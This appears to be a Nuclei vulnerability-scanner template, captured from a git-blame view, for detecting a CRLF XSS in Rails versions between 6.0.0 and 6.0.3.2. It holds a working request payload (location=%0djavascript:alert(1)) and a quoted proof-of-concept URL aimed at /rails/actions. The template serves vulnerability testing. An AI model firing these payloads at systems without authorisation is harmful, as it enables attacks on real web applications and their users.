2020-12-23 09:24:03 +00:00
|
|
|
id: rails6-xss
|
2020-12-22 22:25:41 +00:00
|
|
|
info:
|
|
|
|
name: Rails CRLF XSS (6.0.0 < rails < 6.0.3.2)
|
2021-06-09 12:20:56 +00:00
|
|
|
author: ooooooo_q,rootxharsh,iamnoooob
|
2020-12-23 02:33:49 +00:00
|
|
|
severity: medium
|
|
|
|
reference: https://hackerone.com/reports/904059
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: rails,xss
|
2020-12-23 02:33:49 +00:00
|
|
|
|
|
|
|
# XSS (6.0.0 < rails < 6.0.3.2); Payload is location=%0djavascript:alert(1);
|
|
|
|
# Nuclei has issues with 302 response missing a Location header thus the
|
|
|
|
# extended payload to make Nuclei work.
|
2021-02-14 18:45:07 +00:00
|
|
|
# Working poc by @Mad-robot
|
|
|
|
# /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aalert%28document.domain%29
|
2020-12-23 02:33:49 +00:00
|
|
|
|
2020-12-22 22:25:41 +00:00
|
|
|
requests:
|
|
|
|
- method: POST
|
|
|
|
path:
|
2021-02-14 18:45:07 +00:00
|
|
|
- "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"
|
2021-04-06 08:15:46 +00:00
|
|
|
|
2020-12-22 22:25:41 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-02-14 18:45:07 +00:00
|
|
|
- 'javascript:alert(1)'
|
2020-12-22 22:25:41 +00:00
|
|
|
part: body
|
|
|
|
- type: status
|
|
|
|
status:
|
2020-12-22 22:33:16 +00:00
|
|
|
- 302
|
2020-12-23 02:33:49 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
2021-02-14 19:01:40 +00:00
|
|
|
- 'Location: aaaaa'
|
2020-12-23 02:33:49 +00:00
|
|
|
- 'text/html'
|
|
|
|
part: header
|
2021-02-14 13:34:20 +00:00
|
|
|
condition: and
|